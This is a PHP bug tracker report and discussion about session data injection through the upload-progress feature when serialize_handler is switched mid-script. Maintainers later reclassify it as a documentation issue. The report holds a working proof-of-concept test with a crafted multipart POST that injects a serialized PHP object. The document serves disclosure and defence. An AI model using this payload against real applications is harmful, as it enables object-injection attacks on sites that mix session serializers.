php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login

go to bug id or search bugs for

Doc Bug #71101 serialize_handler must not be switched for existing sessions
Submitted: 2015-12-12 13:09 UTC Modified: 2021-09-24 14:09 UTC
Votes:30
Avg. Score:3.5 ± 1.1
Reproduced:9 of 12 (75.0%)
Same Version:7 (77.8%)
Same OS:-2 (-22.2%)
From: taoguangchen at icloud dot com Assigned:
Status: Analyzed Package: Session related
PHP Version: Irrelevant OS: *
Private report: No CVE-ID: None
View Add Comment Developer Edit
Have you experienced this issue?
Rate the importance of this bug to you:

 [2015-12-12 13:09 UTC] taoguangchen at icloud dot com 
Description:
------------
PHP Session Data Injection Vulnerability

When the session.upload_progress.enabled INI option is enabled (default enabled in php.ini since 5.4 series), PHP will be able to track the upload progress of individual files being uploaded. The upload progress will be available in the $_SESSION superglobal when an upload is in progress, and when POSTing a variable of the same name as the session.upload_progress.name INI setting is set to. When PHP detects such POST requests, it will populate an array in the $_SESSION, where the index is a concatenated value of the session.upload_progress.prefix and session.upload_progress.name INI options. This means an attacker will be able to control the key, i.e.

```
<form action="upload.php" method="POST" enctype="multipart/form-data">
	<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ryat" />
	<input type="file" name="file" />
	<input type="submit" />
</form>
```

The key of stored in the session will look like this:

```
$_SESSION["upload_progress_ryat"]
```

During session upload progress will serialize/deserialize session data and the serialize format is set by session.serialize_handler INI option which is set in php.ini. This means arbitrarily session data injection is possible when a different serialize_handler is set in script.

Proof of Concept (In order to facilitate proof the issue, i disabled the session.upload_progress.cleanup INI option, in fact this is not necessary. An attacker can upload some large files with crafted data, then the attacker will be able to request session data before them destroyed.):

```
--TEST--
session data injection
--INI--
error_reporting=0
file_uploads=1
upload_max_filesize=1024
session.save_path=
session.name=PHPSESSID
session.serialize_handler=php
session.use_strict_mode=0
session.use_cookies=1
session.use_only_cookies=0
session.upload_progress.enabled=1
session.upload_progress.cleanup=0
session.upload_progress.prefix=upload_progress_
session.upload_progress.name=PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.freq=1%
session.upload_progress.min_freq=0.000000001
--COOKIE--
PHPSESSID=session-data-injection
--POST_RAW--
Content-Type: multipart/form-data; boundary=---------------------------20896060251896012921717172737
-----------------------------20896060251896012921717172737
Content-Disposition: form-data; name="PHPSESSID"

session-data-injection
-----------------------------20896060251896012921717172737
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxO:3:"obj":0:{}
-----------------------------20896060251896012921717172737
Content-Disposition: form-data; name="file"; filename="file.txt"

1
-----------------------------20896060251896012921717172737--
--FILE--
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
session_destroy();
class obj {
	function __destruct() {
		var_dump('session data injection');
	}
}
?>
--EXPECTF--
string(%d) "session data injection"
```

Patches

Add a Patch

Pull Requests

Pull requests:

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-12-14 07:10 UTC] stas@php.net
-Status: Open +Status: Feedback
 [2015-12-14 07:10 UTC] stas@php.net 
I'm not sure I understand - why is this a security issue?
 [2015-12-14 07:33 UTC] taoguangchen at icloud dot com
-Status: Feedback +Status: Open
 [2015-12-14 07:33 UTC] taoguangchen at icloud dot com 
An attacker can injection arbitrarily session data in this way, why isn't this a security issue?
 [2015-12-29 00:45 UTC] stas@php.net
-Status: Open +Status: Feedback
 [2015-12-29 00:45 UTC] stas@php.net 
It looks like the problem comes from the fact that you switch serializers mid-script, which causes php_binary unserializer to be applied to session data serialized with php serializer. This, however, does not seem to be a security issue, as for this you need explicit action of switching the serializers in mid-script. If you set the correct serializer in ini values, everything is fine. I don't see how PHP could prevent you from writing session data with one serializer and then trying to read them with another. 

What we could do, maybe, is to apply the same restrictions to PHP_SESSION_UPLOAD_PROGRESS name as we do for session ID, but I'm not sure that would even help - php_binary is a binary format and there may be other binary formats so one could craft a string of purely ASCII symbols that have special meaning in that format.
 [2015-12-29 01:06 UTC] taoguangchen at icloud dot com
-Status: Feedback +Status: Open
 [2015-12-29 01:06 UTC] taoguangchen at icloud dot com 
In fact, some frameworks or apps allow set serializer in mid-script. ex: zend framework

https://github.com/zendframework/zend-session/blob/6d5557494e3e36df1e550314a6fcfde389993333/src/Config/SessionConfig.php#L172
https://github.com/zendframework/zend-session/blob/6d5557494e3e36df1e550314a6fcfde389993333/test/Config/SessionConfigTest.php#L211
 [2015-12-29 01:16 UTC] stas@php.net 
It is probably a bad idea to do this in conjunction with upload tracking feature, since it means upload tracking will access the session with wrong handler. I do not see however what can be done about it except telling people not to do it. Session module can not predict that somebody in the future would change a handler and try to load session data with wrong handler.
 [2015-12-29 01:29 UTC] taoguangchen at icloud dot com 
Maybe you can consider change session.serialize_handler to PHP_INI_PERDIR.
 [2015-12-29 02:01 UTC] stas@php.net 
That would be a big BC break (would break ZF code above for example) and also won't solve the problem completely as you could have different scripts (with different settings) use the same session.
 [2015-12-31 23:46 UTC] stas@php.net
-Status: Open +Status: Analyzed
 [2016-01-01 02:29 UTC] stas@php.net
-Type: Security +Type: Bug
 [2016-01-01 02:29 UTC] stas@php.net 
As this requires specific (and erroneous) user action to trigger, I don't think it is a security issue. I leave it open in case somebody has any ideas of how to prevent such mistake.
 [2016-08-27 07:28 UTC] yohgaki@php.net 
In order to prevent this kind of mistake (Use of invalid serializer), we need to add some kind of signature in session data. 

Since the example code what switches serialize handler cannot work at all for normal usage, I'm not sure if mitigation is worth to have.
 [2016-08-27 07:29 UTC] yohgaki@php.net 
s/what/that/
 [2016-11-09 00:10 UTC] love at sickpeople dot se 
What about adding a warning when the serialize handler is changed?

If telling people about it is the option here, it should be done with a warning (ie actively). Or a E_NOTICE since it's strictly not an error.
 [2021-07-29 19:15 UTC] wilfried dot pascault at orange dot com 
Is this bug is related to the exploitation code released on Exploit-DB 2 days ago ?

https://www.exploit-db.com/exploits/50156
 [2021-09-24 14:09 UTC] cmb@php.net
-Summary: PHP Session Data Injection Vulnerability +Summary: serialize_handler must not be switched for existing sessions -Type: Bug +Type: Documentation Problem
 [2021-09-24 14:09 UTC] cmb@php.net 
> What about adding a warning when the serialize handler is
> changed?

While this would be possible for this particular issue,
it would not be possible for the more general case, because
users might want to use different session.serialize_handlers
for distinct sessions.  While I doubt that there are good
reasons to do this, we don't want to break BC.

> Since the example code what switches serialize handler cannot
> work at all for normal usage, I'm not sure if mitigation is worth
> to have.

That's the point!  I think we should just document that the
serialize_handler must not be switched for existing sessions, lest
bad things may happen.
 
PHP Copyright © 2001-2023 The PHP Group
All rights reserved. 		Last updated: Sun Jan 29 02:03:43 2023 UTC